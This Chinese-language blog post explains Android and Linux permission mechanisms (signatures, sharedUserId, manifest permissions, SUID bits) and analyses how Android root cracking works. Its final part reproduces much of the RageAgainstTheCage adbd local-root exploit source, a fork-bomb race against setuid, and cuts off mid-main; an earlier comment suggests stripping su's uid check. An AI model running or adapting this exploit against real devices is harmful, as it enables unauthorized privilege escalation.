Android系統許可權和root許可權

yangxi_001發表於2016-01-08

Android許可權說明

Android系統是執行在Linux核心上的,AndroidLinux分別有自己的一套嚴格的安全及許可權機制,
Android
系統許可權相關的內容,

(一)linux檔案系統上的許可權
-rwxr-x--x system   system       4156 2012-06-30 16:12 test.apk.

代表的是相應的使用者/使用者組及其他人對此檔案的訪問許可權,與此檔案執行起來具有的許可權完全不相關
比如上面的例子只能說明system使用者擁有對此檔案的讀寫執行許可權;system組的使用者對此檔案擁有讀、執行許可權;其他人對此檔案只具有執行許可權。而test.apk執行起來後可以幹哪些事情,跟這個就不相關了。
千萬不要看apk檔案系統上屬於system/system使用者及使用者組,或者root/root使用者及使用者組,就認為apk具有systemroot許可權。apk程式是執行在虛擬機器上的,對應的是Android獨特的許可權機制,只有體現到檔案系統上時才使用linux的許可權設定。

(二)Android的許可權規則

1)Android中的apk必須簽名
這種簽名不是基於權威證照的,不會決定某個應用允不允許安裝,而是一種自簽名證照。
重要的是,android系統有的許可權是基於簽名的。比如:system等級的許可權有專門對應的簽名,簽名不對,許可權也就獲取不到。

預設生成的APK檔案是debug簽名的。獲取system許可權時用到的簽名見後面描述

2)基於UserID的程式級別的安全機制
程式有獨立的地址空間,程式與程式間預設是不能互相訪問的,Android通過為每一個apk分配唯一的linux userID來實現,名稱為"app_"加一個數字,比如app_43不同的UserID,執行在不同的程式,所以apk之間預設便不能相互訪問。

Android提供瞭如下的一種機制,可以使兩個apk打破前面講的這種壁壘。
在AndroidManifest.xml中利用sharedUserId屬性給不同的package分配相同的userID,通過這樣做,兩個package可以被當做同一個程式,
系統會分配給兩個程式相同的UserID。當然,基於安全考慮,兩個apk需要相同的簽名,否則沒有驗證也就沒有意義了。

3)預設apk生成的資料對外是不可見的
實現方法是Android會為程式儲存的資料分配該程式的UserID
藉助於Linux嚴格的檔案系統訪問許可權,便實現了apk之間不能相互訪問似有資料的機制。
例:我的應用建立的一個檔案,預設許可權如下,可以看到只有UserIDapp_21的程式才能讀寫該檔案。
-rw------- app_21   app_21      87650 2000-01-01 09:48 test.txt

如何對外開放?
<1> 
使用MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE標記。
When creating a new file with getSharedPreferences(String, int), openFileOutput(String, int), or openOrCreateDatabase(String, int, SQLiteDatabase.CursorFactory), you can use the MODE_WORLD_READABLE and/or MODE_WORLD_WRITEABLE flags to allow any other package to read/write the file. When setting these flags, the file is still owned by your application, but its global read and/or write permissions have been set appropriately so any other application can see it.


4AndroidManifest.xml中的顯式許可權宣告
Android
預設應用是沒有任何許可權去操作其他應用或系統相關特性的,應用在進行某些操作時都需要顯式地去申請相應的許可權。
一般以下動作時都需要申請相應的許可權:

A particular permission may be enforced at a number of places during your program's operation:

At the time of a call into the system, to prevent an application from executing certain functions.When starting an activity, to prevent applications from launching activities of other applications.Both sending and receiving broadcasts, to control who can receive your broadcast or who can send a broadcast to you.When accessing and operating on a content provider.Binding or starting a service.


在應用安裝的時候,package installer會檢測該應用請求的許可權,根據該應用的簽名或者提示使用者來分配相應的許可權。
在程式執行期間是不檢測許可權的。如果安裝時許可權獲取失敗,那執行就會出錯,不會提示使用者許可權不夠。
大多數情況下,許可權不足導致的失敗會引發一個 SecurityException會在系統logsystem log)中有相關記錄。

5)許可權繼承/UserID繼承
當我們遇到apk許可權不足時,我們有時會考慮寫一個linux程式,然後由apk呼叫它去完成某個它沒有許可權完成的事情,很遺憾,這種方法是行不通的。
前面講過,android許可權是在程式層面的,也就是說一個apk應用啟動的子程式的許可權不可能超越其父程式的許可權(即apk的許可權),
即使單獨執行某個應用有許可權做某事,但如果它是由一個apk呼叫的,那許可權就會被限制。
實際上,android是通過給子程式分配父程式的UserID實現這一機制的。

(三)常見許可權不足問題分析

首先要知道,普通apk程式是執行在非root、非system層級的,也就是說看要訪問的檔案的許可權時,看的是最後三位。
另外,通過system/app安裝的apk的許可權一般比直接安裝或adb install安裝的apk的許可權要高一些。

言歸正傳,執行一個android應用程式過程中遇到許可權不足,一般分為兩種情況:
1Log中可明顯看到許可權不足的提示。
此種情況一般是AndroidManifest.xml中缺少相應的許可權設定,好好查詢一番許可權列表,應該就可解決,是最易處理的情況。

有時許可權都加上了,但還是報許可權不足,是什麼情況呢?
Android系統有一些API及許可權是需要apk具有一定的等級才能執行的。
比如 SystemClock.setCurrentTimeMillis()修改系統時間,WRITE_SECURE_SETTINGS許可權好像都是需要有system級的許可權才行。
也就是說UserIDsystem.

2Log裡沒有報許可權不足,而是一些其他Exception的提示,這也有可能是許可權不足造成的。
比如:我們常會想讀/寫一個配置檔案或其他一些不是自己建立的檔案,常會報java.io.FileNotFoundException錯誤。
系統認為比較重要的檔案一般許可權設定的也會比較嚴格,特別是一些很重要的(配置)檔案或目錄。

-r--r----- bluetooth bluetooth      935 2010-07-09 20:21 dbus.conf
drwxrwx--x system   system            2010-07-07 02:05 data 

dbus.conf
好像是藍芽的配置檔案,從許可權上來看,根本就不可能改動,非bluetooth使用者連讀的權利都沒有。

/data目錄下存的是所有程式的私有資料,預設情況下android是不允許普通apk訪問/data目錄下內容的,通過data目錄的許可權設定可知,其他使用者沒有讀的許可權。
所以adb普通許可權下在data目錄下敲ls命令,會得到opendir failed, Permission denied的錯誤,通過程式碼file.listfiles()也無法獲得data目錄下的內容。


上面兩種情況,一般都需要提升apk的許可權,目前我所知的apk能提升到的許可權就是system(具體方法見:如何使Android應用程式獲取系統許可權),

怎樣使android apk 獲取system許可權

最近在回答客戶的問題時,提到怎麼將apk 升級到root許可權。

 

1.一般許可權的新增

一般情況下,設定apk的許可權,可在AndroidManifest.xml中新增android:sharedUserId="android.uid.xxx>

例如: 給apk新增system許可權

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    ... ... 
  android:sharedUserId="android.uid.system">

 

同時還需要在對應的Android.mk中新增LOCAL_CERTIFICATE := platform這一項。即用系統的簽名,通過這種方式只能使apk的許可權升級到system級別,系統中要求root許可權才能訪問的檔案,apk還是不能訪問。

比如在android 的API中有提供 SystemClock.setCurrentTimeMillis()函式來修改系統時間,這個函式需要root許可權或者執行與系統程式中才可以用。

        第一個方法簡單點,不過需要在Android系統原始碼的環境下用make來編譯:

        1. 在應用程式的AndroidManifest.xml中的manifest節點中加入android:sharedUserId="android.uid.system"這個屬性。

        2. 修改Android.mk檔案,加入LOCAL_CERTIFICATE := platform這一行

        3. 使用mm命令來編譯,生成的apk就有修改系統時間的許可權了。

 

        第二個方法是直接把eclipse編出來的apk用系統的簽名檔案簽名

        1. 加入android:sharedUserId="android.uid.system"這個屬性。

        2. 使用eclipse編譯出apk檔案。

        3. 使用目標系統的platform金鑰來重新給apk檔案簽名。首先找到金鑰檔案,在我ndroid原始碼目錄中的位置是"build/target/product/security",下面的platform.pk8和platform.x509.pem兩個檔案。然後用Android提供的Signapk工具來簽名,signapk的原始碼是在"build/tools/signapk"下,編譯後在out/host/linux-x86/framework下,用法為java -jar signapk.jar  platform.x509.pem platform.pk8 input.apk output.apk"。

       加入android:sharedUserId="android.uid.system"這個屬性。通過Shared User id,擁有同一個User id的多個APK可以配置成執行在同一個程式中。那麼把程式的UID配成android.uid.system,也就是要讓程式執行在系統程式中,這樣就有許可權來修改系統時間了。

        只是加入UID還不夠,如果這時候安裝APK的話發現無法安裝,提示簽名不符,原因是程式想要執行在系統程式中還要有目標系統的platform key,就是上面第二個方法提到的platform.pk8和platform.x509.pem兩個檔案。用這兩個key簽名後apk才真正可以放入系統程式中。第一個方法中加入LOCAL_CERTIFICATE := platform其實就是用這兩個key來簽名。

        這也有一個問題,就是這樣生成的程式只有在原始的Android系統或者是自己編譯的系統中才可以用,因為這樣的系統才可以拿到platform.pk8和platform.x509.pem兩個檔案。要是別家公司做的Android上連安裝都安裝不了。試試原始的Android中的key來簽名,程式在模擬器上執行OK,不過放到G3上安裝直接提示"Package ... has no signatures that match those in shared user android.uid.system",這樣也是保護了系統的安全。

 

怎樣使android apk 獲取root許可權

 

一般linux 獲取root許可權是通過執行su命令,那能不能在apk程式中也同樣執行一下該命令呢,我們知道在linux程式設計中,有exec函式族:

  int execl(cONst char *path, const char *arg, ...);

  int execlp(const char *file, const char *arg, ...);

  int execle(const char *path, const char *arg, ..., char *const envp[]);

  int execv(const char *path, char *const argv[]);

  int execvp(const char *file, char *const argv[]);

  int execve(const char *path, char *const argv[], char *const envp[]);

 

在java中我們可以藉助 Runtime.getRuntime().exec(String command)訪問底層Linux下的程式或指令碼,這樣就能執行su命令,使apk具有root許可權,能夠訪問系統中需要root許可權才能執行的程式或指令碼了,具體例子:

 

package com.visit.dialoglog;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class VisitRootfileActivity extends Activity {
    private static final String TAG = "VisitRootfileActivity";
    Process process = null;
    Process process1 = null;   
    DataOutputStream os = null;
    DataInputStream is = null;
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        try {
            process = Runtime.getRuntime().exec("/system/xbin/su"); /*這裡可能需要修改su

   的原始碼 (注掉  if (myuid != AID_ROOT && myuid != AID_SHELL) {*/

            os = new DataOutputStream(process.getOutputStream());
            is = new DataInputStream(process.getInputStream());
           os.writeBytes("/system/bin/ls" + " \n");  //這裡可以執行具有root 許可權的程式了
  
            os.writeBytes(" exit \n");
            os.flush();
            process.waitFor();
        } catch (Exception e) {            
            Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage());
        } finally {
            try {
                if (os != null) {
                    os.close();
                }
                if (is != null) {
                    is.close();
                }
                process.destroy();
            } catch (Exception e) {
            }
        }// get the root privileges
    }
}

 

 

 

APK在AndroidManifest.xml常用許可權

android.permission.ACCESS_CHECKIN_PROPERTIES
//
允許讀寫訪問”properties”表在checkin資料庫中,改值可以修改上傳
android.permission.ACCESS_COARSE_LOCATION 
//
允許一個程式訪問CellIDWiFi熱點來獲取粗略的位置
android.permission.ACCESS_FINE_LOCATION 
//
允許一個程式訪問精良位置(GPS)
android.permission.ACCESS_LOCATION_EXTRA_COMMANDS 
//
允許應用程式訪問額外的位置提供命令 
android.permission.ACCESS_MOCK_LOCATION 
//
允許程式建立模擬位置提供用於測試 
android.permission.ACCESS_NETWORK_STATE 
//
允許程式訪問有關GSM網路資訊
android.permission.ACCESS_SURFACE_FLINGER 
//
允許程式使用SurfaceFlinger底層特性
android.permission.ACCESS_WIFI_STATE 
//
允許程式訪問Wi-Fi網路狀態資訊
android.permission.ADD_SYSTEM_SERVICE 
//
允許程式釋出系統級服務 
android.permission.BATTERY_STATS 
//
允許程式更新手機電池統計資訊 
android.permission.BLUETOOTH 
//
允許程式連線到已配對的藍芽裝置 
android.permission.BLUETOOTH_ADMIN 
//
允許程式發現和配對藍芽裝置 
android.permission.BRICK 
//
請求能夠禁用裝置(非常危險
android.permission.BROADCAST_PACKAGE_REMOVED 
//
允許程式廣播一個提示訊息在一個應用程式包已經移除後
android.permission.BROADCAST_STICKY 
//
允許一個程式廣播常用intents 
android.permission.CALL_PHONE 
//
允許一個程式初始化一個電話撥號不需通過撥號使用者介面需要使用者確認
android.permission.CALL_PRIVILEGED 
//
允許一個程式撥打任何號碼,包含緊急號碼無需通過撥號使用者介面需要使用者確認
android.permission.CAMERA 
//
請求訪問使用照相裝置 
android.permission.CHANGE_COMPONENT_ENABLED_STATE 
//
允許一個程式是否改變一個元件或其他的啟用或禁用
android.permission.CHANGE_CONFIGURATION 
//
允許一個程式修改當前設定,如本地化 

android.permission.CHANGE_NETWORK_STATE
//
允許程式改變網路連線狀態 
android.permission.CHANGE_WIFI_STATE 
//
允許程式改變Wi-Fi連線狀態
android.permission.CLEAR_APP_CACHE 
//
允許一個程式清楚快取從所有安裝的程式在裝置中
android.permission.CLEAR_APP_USER_DATA 
//
允許一個程式清除使用者設定 
android.permission.CONTROL_LOCATION_UPDATES 
//
允許啟用禁止位置更新提示從無線模組 
android.permission.DELETE_CACHE_FILES 
//
允許程式刪除快取檔案 
android.permission.DELETE_PACKAGES 
//
允許一個程式刪除包 
android.permission.DEVICE_POWER 
//
允許訪問底層電源管理 
android.permission.DIAGNOSTIC 
//
允許程式RW診斷資源
android.permission.DISABLE_KEYGUARD 
//
允許程式禁用鍵盤鎖 
android.permission.DUMP 
//
允許程式返回狀態抓取資訊從系統服務 
android.permission.EXPAND_STATUS_BAR 
//
允許一個程式擴充套件收縮在狀態列,android開發網提示應該是一個類似Windows Mobile中的托盤程式
android.permission.FACTORY_TEST 
//
作為一個工廠測試程式,執行在root使用者
android.permission.FLASHLIGHT 
//
訪問閃光燈,android開發網提示HTC Dream不包含閃光燈
android.permission.FORCE_BACK 
//
允許程式強行一個後退操作是否在頂層activities
android.permission.FOTA_UPDATE 
//
暫時不瞭解這是做什麼使用的,android開發網分析可能是一個預留許可權.
android.permission.GET_ACCOUNTS 
//
訪問一個帳戶列表在Accounts Service
android.permission.GET_PACKAGE_SIZE 
//
允許一個程式獲取任何package佔用空間容量
android.permission.GET_TASKS 
//
允許一個程式獲取資訊有關當前或最近執行的任務,一個縮略的任務狀態,是否活動等等
android.permission.HARDWARE_TEST 
//
允許訪問硬體 
android.permission.INJECT_EVENTS 
//
允許一個程式截獲使用者事件如按鍵、觸控、軌跡球等等到一個時間流,android開發網提醒算是hook技術吧
android.permission.INSTALL_PACKAGES 
//
允許一個程式安裝packages 
android.permission.INTERNAL_SYSTEM_WINDOW 
//
允許開啟視窗使用系統使用者介面 
android.permission.INTERNET 
//
允許程式開啟網路套接字 
android.permission.MANAGE_APP_TOKENS 
//
允許程式管理(建立、催後、 z- order預設向z軸推移)程式引用在視窗管理器中
android.permission.MASTER_CLEAR 
//
目前還沒有明確的解釋,android開發網分析可能是清除一切資料,類似硬格機
android.permission.MODIFY_AUDIO_SETTINGS 
//
允許程式修改全域性音訊設定 
android.permission.MODIFY_PHONE_STATE 
//
允許修改話機狀態,如電源,人機介面等 
android.permission.MOUNT_UNMOUNT_FILESYSTEMS 
//
允許掛載和反掛載檔案系統可移動儲存 
android.permission.PERSISTENT_ACTIVITY 
//
允許一個程式設定他的activities顯示
android.permission.PROCESS_OUTGOING_CALLS 
//
允許程式監視、修改有關播出電話 
android.permission.READ_CALENDAR 
//
允許程式讀取使用者日曆資料 
android.permission.READ_CONTACTS 
//
允許程式讀取使用者聯絡人資料 
android.permission.READ_FRAME_BUFFER 
//
允許程式螢幕波或和更多常規的訪問幀緩衝資料 
android.permission.READ_INPUT_STATE 
//
允許程式返回當前按鍵狀態 
android.permission.READ_LOGS 
//
允許程式讀取底層系統日誌檔案 
android.permission.READ_OWNER_DATA 
//
允許程式讀取所有者資料 
android.permission.READ_SMS 
//
允許程式讀取簡訊息 
android.permission.READ_SYNC_SETTINGS 
//
允許程式讀取同步設定 
android.permission.READ_SYNC_STATS 
//
允許程式讀取同步狀態 
android.permission.REBOOT 
//
請求能夠重新啟動裝置 
android.permission.RECEIVE_BOOT_COMPLETED 
//
允許一個程式接收到 
android.permission.RECEIVE_MMS 
//
允許一個程式監控將收到MMS彩信,記錄或處理
android.permission.RECEIVE_SMS 
//
允許程式監控一個將收到簡訊息,記錄或處理 
android.permission.RECEIVE_WAP_PUSH 
//
允許程式監控將收到WAP PUSH資訊
android.permission.RECORD_AUDIO 
//
允許程式錄制音訊 
android.permission.REORDER_TASKS 
//
允許程式改變Z軸排列任務
android.permission.RESTART_PACKAGES 
//
允許程式重新啟動其他程式 
android.permission.SEND_SMS 
//
允許程式傳送SMS簡訊
android.permission.SET_ACTIVITY_WATCHER 
//
允許程式監控或控制activities已經啟動全域性系統中
android.permission.SET_ALWAYS_FINISH 
//
允許程式控制是否活動間接完成在處於後臺時 
android.permission.SET_ANIMATION_SCALE 
//
修改全域性資訊比例 
android.permission.SET_DEBUG_APP 
//
配置一個程式用於除錯 
android.permission.SET_ORIENTATION 
//
允許底層訪問設定螢幕方向和實際旋轉 
android.permission.SET_PREFERRED_APPLICATIONS 
//
允許一個程式修改列表引數PackageManager.addPackageToPreferred()PackageManager.removePackageFromPreferred()方法
android.permission.SET_PROCESS_FOREGROUND 
//
允許程式當前執行程式強行到前臺 
android.permission.SET_PROCESS_LIMIT 
//
允許設定最大的執行程式數量 
android.permission.SET_TIME_ZONE 
//
允許程式設定時間區域 
android.permission.SET_WALLPAPER 
//
允許程式設定桌布 
android.permission.SET_WALLPAPER_HINTS 
//
允許程式設定桌布hits 
android.permission.SIGNAL_PERSISTENT_PROCESSES 
//
允許程式請求傳送訊號到所有顯示的程式中 
android.permission.STATUS_BAR 
//
允許程式開啟、關閉或禁用狀態列及圖示Allows an application to open, close, or disable the status bar and its icons.
android.permission.SUBSCRIBED_FEEDS_READ 
//
允許一個程式訪問訂閱RSS Feed內容提供
android.permission.SUBSCRIBED_FEEDS_WRITE 
//
系統暫時保留改設定,android開發網認為未來版本會加入該功能。
android.permission.SYSTEM_ALERT_WINDOW 
//
允許一個程式開啟視窗使用 TYPE_SYSTEM_ALERT,顯示在其他所有程式的頂層(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications. )
android.permission.VIBRATE 
//
允許訪問振動裝置 
android.permission.WAKE_LOCK 
//
允許使用PowerManager WakeLocks保持程式在休眠時從螢幕消失
android.permission.WRITE_APN_SETTINGS 
//
允許程式寫入APN設定
android.permission.WRITE_CALENDAR 
//
允許一個程式寫入但不讀取使用者日曆資料 
android.permission.WRITE_CONTACTS 
//
允許程式寫入但不讀取使用者聯絡人資料 
android.permission.WRITE_GSERVICES 
//
允許程式修改Google服務地圖
android.permission.WRITE_OWNER_DATA 
//
允許一個程式寫入但不讀取所有者資料 
android.permission.WRITE_SETTINGS 
//
允許程式讀取或寫入系統設定 
android.permission.WRITE_SMS 
//
允許程式寫簡訊 
android.permission.WRITE_SYNC_SETTINGS 
//
允許程式寫入同步設定

 

Linux的特殊檔案許可權

 

釋出於:  一般檔案許可權讀(R),寫(W),執行(X)許可權比較簡單。一般材料上面都有介紹。                 這裡介紹一下一些特殊的檔案許可權——SUID,SGID,Stick bit。如果你檢查一下/usr/bin/passwd和/tmp/的檔案許可權你就會發現和普通的檔案許可權有少許不同,如下圖所示:

    這裡就涉及到SUID和Stick bit。

SUID和SGID

    我們首先來談一下passwd程式特殊的地方。大家都知道,Linux把使用者的密碼資訊存放在/etc/shadow裡面,該檔案屬性如下:

 可以看到Shadow的只有所有者可讀寫,所有者是root,所以該檔案對普通使用者是不可讀寫的。但是普通使用者呼叫passwd程式是可以修改自己的密碼的,這又是為什麼呢?難道普通使用者可以讀寫shadow檔案?當然不是啦。password可以修改shadow檔案的原因是他設定了SUID檔案許可權。

    SUID檔案許可權作用於可執行檔案。一般的可執行檔案在執行期的所有者是當前使用者,比如當前系統使用者是simon,simon執行程式a.out,a.out執行期的所有者應該是simon。但是如果我們給可執行檔案設定了SUID許可權,則該程式執行期間的所有者,就是該檔案所有者。還以前面的a.out為例,假如a.out設定了SUID,並且其所有者是root,系統當前使用者是simon,當simon執行a.out的時候,a.out在執行期的所有者就是root,這時a.out可以存取只有root許可權才能存取的資源,比如讀寫shadow檔案。當a.out執行結束的時候當前使用者的許可權又回到了simon的許可權了。

     passwd就是設定了SUID許可權,並且passwd的所有者是root,所以所有的使用者都可以執行他,在passwd執行期,程式獲得臨時的root許可權,這時其可以存取shadow檔案。當passwd執行完成,當前使用者又回到普通許可權。

     同理,設定程式的SGID,可以使程式執行期可以臨時獲得所有者組的許可權。在團隊開發的時候,這個檔案許可權比較有用,一般系統用SUID比較多。

     SGID可以用於目錄,當目錄設定了SGID之後,在該目錄下面建立的所有檔案和目錄都具有和該目錄相同的使用者組。

Stick bit(貼上位)

     對程式,該許可權告訴系統在程式完成後在記憶體中儲存一份執行程式的備份,如該程式常用,可為系統節省點時間,不用每次從磁碟載入到記憶體。Linux當前對檔案沒有實現這個功能,一些其他的UNIX系統實現了這個功能。

     Stick bit可以作用於目錄,在設定了貼上位的目錄下面的檔案和目錄,只有所有者和root可以刪除他。現在我們可以回頭去看看/tmp/目錄的情況,這個目錄設定了貼上位。所以說,所有人都可以對該目錄讀寫執行(777),這樣意味著所有人都可以在/tmp/下面建立臨時目錄。因為設定Stick bit只有所有者和root才能刪除目錄。這樣普通使用者只能刪除屬於自己的檔案,而不能刪除其他人的檔案。如下圖所示:

設定SUID,SGID,Stick bit

     前面介紹過SUID與SGID的功能,那麼,如何開啟檔案使其成為具有SUID與SGID的許可權呢?這就需要使用數字更改許可權了。現在應該知道,使用數字更改許可權的方式為“3個數字”的組合,那麼,如果在這3個數字之前再加上一個數字,最前面的數字就表示這幾個屬性了(注:通常我們使用chmod 0777 filename的方式來設定filename的屬性時,則是假設沒有SUID、SGID及Sticky bit)。 
     4為SUID
     2
為SGID 
     1為Sticky bit 

     假設要將一個檔案屬性改為“-rwsr-xr-x”,由於s在使用者許可權中,所以是SUID,因此,在原先的755之前還要加上4,也就是使用“chmod 4755 filename”來設定。

     SUID也可以用“chmod u+s filename”來設定,“chmod u-s filename”來取消SUID設定;同樣,SGID可以用“chmod g+s filename”,“chmod g-s filename”來取消SGID設定。

 

Android系統root破解原理分析

獲得root許可權的程式碼如下:

Process process = Runtime.getRuntime().exec("su");

DataOutputStream os =new

DataOutputStream(process.getOutputStream());

 ......

os.writeBytes("exit\n");

os.flush();

process.waitFor();

    從上面程式碼我們可以看到首先要執行su程式,其實root的祕密都在su程式中,Android系統預設的su程式只能root和shell可以用執行su,如果把這個限制拿掉,就是root破解了!

    下面我們仔細分析一下程式是怎樣獲得root許可權的,如果對Linux的su命令熟悉的朋友可能知道su程式都設定SUID位,我們檢視一下已經root破解上的su許可權設定,

      我們發現su的所有者和所有組都是root,是其實是busybox的軟連結,我們檢視busybox的屬性發現,其設定了SUIDSGID,並且所有者和所有組都是root。這樣執行busybox的普通使用者,busybox執行過程中獲得的是root的有效使用者。su程式則是把自己啟動一個新的程式,並把自己許可權提升至root(我們前面提到su其實就是busybox,執行期它的許可權是root,當然也有許可權來提升自己的許可權)。

     再強調一下不光root手機上su需要設定SUID,所有的Linux系統上的su程式都需要設定SUID位。

     我們發現su也設定了SUID位,這樣普通使用者也可以執行su程式,su程式會驗證root

密碼,如果正確su程式可以把使用者許可權提高的root(因為其設定SUID位,執行期是root許可權,這樣其有許可權提升自己的許可權)。

     Android系統的破解的根本原理就是替換掉系統中的su程式,因為系統中的預設su程式需要驗證實際使用者許可權(只有root和shell使用者才有權執行系統預設的su程式,其他使用者執行都會返回錯誤)。而破解後的su將不檢查實際使用者許可權,這樣普通的使用者也將可以執行su程式,也可以通過su程式將自己的許可權提升。

     root破解沒有利用什麼Linux核心漏洞(Linux核心不可能有這麼大的漏洞存在),可以理解成root破解就是在你係統中植入“木馬su”,說它是“木馬”一點兒都不為過,假如惡意程式在系統中執行也可以通過su來提升自己的許可權的這樣的結果將會是災難性的。所以一般情況下root過手機都會有一個SuperUser應用程式來讓使用者管理允許誰獲得root許可權.但是要替換掉系統中su程式本身就是需要root許可權的,怎樣在root破解過程中獲得root許可權,假設需要破解的Android系統具備如下條件:

1、可以通過adb連線到裝置,一般意味著驅動程式已經安裝。
2、但是adb獲得使用者許可權是shell使用者,而不是root。

先了解一下adb工具,裝置端有adbd服務程式後臺執行,為開發機的adb程式提供服務,adbd的許可權,決定了adb的許可權。具體使用者可檢視/system/core/adb下的原始碼,檢視Android.mk你將會發現adb和adbd其實是一份程式碼,然後通過巨集來編譯。

檢視adb.c的adb_main函式你將會發現adbd中有如下程式碼:

   1:int adb_main(int is_daemon)

   2: {

   3:    ......

   4:    property_get("ro.secure", value,"");

   5:    if (strcmp(value,"1") == 0) {

   6:        // don't run as root if ro.secure is set...

   7:        secure = 1;

   8:        ......

   9:    }

  10: 

  11:    if (secure) {

  12:        ......

  13:        setgid(AID_SHELL);

  14:        setuid(AID_SHELL);

  15:        ......

  16:    }

  17: }

從中我們可以看到adbd會檢測系統的ro.secure屬性,如果該屬性為1則將會把自己的使用者許可權降級成shell使用者。一般裝置出廠的時候在/default.prop檔案中都會有:

   1: ro.secure=1

這樣將會使adbd啟動的時候自動降級成shell使用者。

然後我們再介紹一下adbd在什麼時候啟動的呢?答案是在init.rc中配置的系統服務,由init程式啟動。我們檢視init.rc中有如下內容:

   1: # adbd is controlled by the persist.service.adb.enable system property

   2: service adbd /sbin/adbd

   3:    disabled

對Android屬性系統少有了解的朋友將會知道,在init.rc中配置的系統服務啟動的時候都是root許可權(因為init進行是root許可權,其子程式也是root)。由此我們可以知道在adbd程式在執行:

   1:/* then switch user and group to "shell" */

   2: setgid(AID_SHELL);

   3: setuid(AID_SHELL);

程式碼之前都是root許可權,只有執行這兩句之後才變成shell許可權的。

這樣我們就可以引出root破解過程中獲得root許可權的方法了,那就是讓上面setgid和setuid函式執行失敗,也就是降級失敗,那就繼續在root許可權下面執行了。

這裡面做一個簡單說明:

1、出廠設定的ro.secure屬性為1,則adbd也將執行在shell使用者許可權下;
2adb工具建立的程式ratc也執行在shell使用者許可權下;

3ratc一直建立子程式(ratc建立的子程式也將會執行在shell使用者許可權下),緊接著子程式退出,形成殭屍程式,佔用shell使用者的程式資源,直到到達shell使用者的程式數為RLIMIT_NPROC的時候(包括adbdratc及其子程式),這是ratc將會建立子程式失敗。這時候殺掉adbdadbd程式因為是Android系統服務,將會被Android系統自動重啟,這時候ratc也在競爭產生子程式。在adbd程式執行上面setgidsetuid之前,ratc已經建立了一個新的子程式,那麼shell使用者的程式限額已經達到,則adbd程式執行setgidsetuid將會失敗。根據程式碼我們發現失敗之後adbd將會繼續執行。這樣adbd程式將會執行在root許可權下面了。

這時重新用adb連線裝置,則adb將會執行在root許可權下面了。

通過上面的介紹我們發現利用RageAgainstTheCage漏洞,可以使adbd獲得root許可權,也就是adb獲得了root許可權。拿到root許可權剩下的問題就好辦了,複製破解之後的su程式到系統中,都是沒有什麼技術含量的事情了。

其實堵住adbd的這個漏洞其實也挺簡單的,新版本已經加兩個這個補丁。

   1:/* then switch user and group to "shell" */

   2:if (setgid(AID_SHELL) != 0) {

   3:    exit(1);

   4: }

   5:if (setuid(AID_SHELL) != 0) {

   6:    exit(1);

   7: }

如果發現setgid和setuid函式執行失敗,則adbd程式異常退出,就把這個漏洞給堵上了。
 
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
http://blog.claudxiao.net/wp-content/uploads/2011/04/rageagainstthecage.c
 
/* android 1.x/2.x adb setuid() root exploit

 * (C) 2010 The Android Exploid Crew

 *

 * Needs to be executed via adb -d shell. It may take a while until

 * all process slots are filled and the adb connection is reset.

 *

 * !!!This is PoC code for educational purposes only!!!

 * If you run it, it might crash your device and make it unusable!

 * So you use it at your own risk!

 */

#include <stdio.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/resource.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <string.h>

#include <signal.h>

#include <stdlib.h>

 

 

void die(const char *msg)

{

        perror(msg);

        exit(errno);

}

 

pid_t find_adb()

{

        char buf[256];

        int i = 0, fd = 0;

        pid_t found = 0;

 

        for (i = 0; i < 32000; ++i) {

               sprintf(buf, "/proc/%d/cmdline", i);

               if ((fd = open(buf, O_RDONLY)) < 0)

                       continue;

               memset(buf, 0, sizeof(buf));

               read(fd, buf, sizeof(buf) - 1);

               close(fd);

               if (strstr(buf, "/sbin/adb")) {

                       found = i;

                       break;

               }

        }

        return found;

}

 

 

void restart_adb(pid_t pid)

{

        kill(pid, 9);

}

 

 

void wait_for_root_adb(pid_t old_adb)

{

        pid_t p = 0;

 

        for (;;) {

               p = find_adb();

               if (p != 0 && p != old_adb)

                       break;

               sleep(1);

        }

        sleep(5);

        kill(-1, 9);

}

 

 

int main(int argc, char **argv)

{

        pid_t adb_pid = 0, p;

        int pids = 0, new_pids = 1;

        int pepe[2];

        char c = 0;

        struct rlimit rl;

 

        printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");

        printf("[*] checking NPROC limit ...\n");

 

        if (getrlimit(RLIMIT_NPROC, &rl) < 0)

               die("[-] getrlimit");

 

        if (rl.rlim_cur == RLIM_INFINITY) {

               printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");

               exit(1);

        }

 

        printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);

        printf("[*] Searching for adb ...\n");

 

        adb_pid = find_adb();

 

        if (!adb_pid)

               die("[-] Cannot find adb");

 

        printf("[+] Found adb as PID %d\n", adb_pid);

        printf("[*] Spawning children. Dont type anything and wait for reset!\n");

        printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"

               "[*] 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n"

               "[*] If you are a company and feel like you profit from our work,\n"

               "[*] we also accept donations > 1000 USD!\n");

        printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

 

        sleep(5);

 

        if (fork() > 0)

               exit(0);

 

        setsid();

        pipe(pepe);

 

        /* generate many (zombie) shell-user processes so restarting

         * adb's setuid() will fail.

         * The whole thing is a bit racy, since when we kill adb

         * there is one more process slot left which we need to

         * fill before adb reaches setuid(). Thats why we fork-bomb

         * in a seprate process.

         */

        if (fork() == 0) {

               close(pepe[0]);

               for (;;) {

                       if ((p = fork()) == 0) {

                               exit(0);

                       } else if (p < 0) {

                               if (new_pids) {

                                      printf("\n[+] Forked %d childs.\n", pids);

                                      new_pids = 0;

                                      write(pepe[1], &c, 1);

                                      close(pepe[1]);

                               }

                       } else {

                               ++pids;

                       }

               }

        }

 

        close(pepe[1]);

        read(pepe[0], &c, 1);

 

 

        restart_adb(adb_pid);

 

